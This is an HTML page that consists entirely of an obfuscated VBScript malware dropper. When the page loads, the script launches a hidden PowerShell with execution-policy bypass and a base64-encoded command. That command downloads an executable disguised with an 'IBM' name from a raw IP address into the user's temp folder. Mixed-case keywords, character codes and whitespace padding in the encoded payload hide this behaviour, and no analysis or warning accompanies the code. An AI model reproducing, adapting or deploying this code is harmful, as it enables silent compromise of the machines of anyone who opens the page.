<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<html>
<body>
<Script TypE="teXt/VbScRIpT">
dim NwjoVus , KdVWUWg : sEt NwjoVus = cREAteOBjEct ( ChrW(&H57) & "ScRiPT.sHELl" ) : KdVWUWg = "pOwERshELL
-ex byPaSS
-w 1 -ec IAAgAFsATgBlAHQALgBTAEUAUgB2AGkAYwBlAFAAbwBJAE4AVABtAGEATgBhAEcARQByAF0AOgA6AFMAZQBDAHUAUgBpAHQAWQBwAFIAbwBUAG8AQwBvAGwAIAAgAAkACQAgACAAPQAgACAAWwBOAEUAdAAuAHMARQBjAHUAcgBJAFQAWQBwAHIATwB0AE8AQwBvAGwAVABZAFAAZQBdADoAOgBUAGwAcwAxADIAIAAJACAAIAA7ACAAIAAJACAACQAJAAkACQAJACAACQAgACAAIAAgACAAIAAgAHcARwBFAFQAIAAgACAAIAAoAB0gaAB0AHQAcAA6AC8ALwAyADMALgA5ADQALgAyADMANgAuADIAMAAzAC8ANwAzADAALwBJAEIATQBfAGMAHSAgACAACQAJAAkACQAgAAkAIAAJACAACQAgACAACQAgACAACQAJAAkACQAgAAkAIAAJACAACQAgACAACQArACAAIAAJAAkACQAJACAACQAgAAkAIAAJACAAIAAJAB0gZQAdICAAIAAJAAkACQAJACAACQAgAAkAIAAJACAAIAAJACAAIAAJAAkACQAJACAACQAgAAkAIAAJACAAIAAJACsAIAAgAAkACQAJAAkAIAAJACAACQAgAAkAIAAgAAkAHSBuAHQAcwAuAGUAeAAdICAAIAAJAAkACQAJACAACQAgAAkAIAAJACAAIAAJACAAIAAJAAkACQAJACAACQAgAAkAIAAJACAAIAAJACsAIAAgAAkACQAJAAkAIAAJACAACQAgAAkAIAAgAAkAHSBlAB0gIAAgAAkACQAJAAkAIAAJACAACQAgAAkAIAAgAAkAKQAgACAACQAJAAkAIAAgAC0AbwB1AHQAZgBJAEwAZQAgAAkACQAJAAkACQAJAAkAHSAkAEUAbgBWADoAdABlAE0AUABcAEkAQgBNAF8AQwBlAG4AdABvAHMAcwAuAGUAeABlAB0g
" : NwjoVus.rUn Chr ( 34 ) & NwjoVus.EXpANDENviROnmenTstRiNgs( ChrW(&H25) & Chr(&H53) & Chr(&H59) & Chr(&H53) & Chr(&H74) & ChrW(&H65) & ChrW(&H6D) & ChrW(&H52) & Chr(&H4F) & ChrW(&H6F) & Chr(&H74) & ChrW(&H25) ) & "\System32\WINdOWSpoWERsHEll\v1.0\PoWershelL.EXE" & cHr ( 34 ) & chr
sElF.ClOse
</script>
</body>
</html>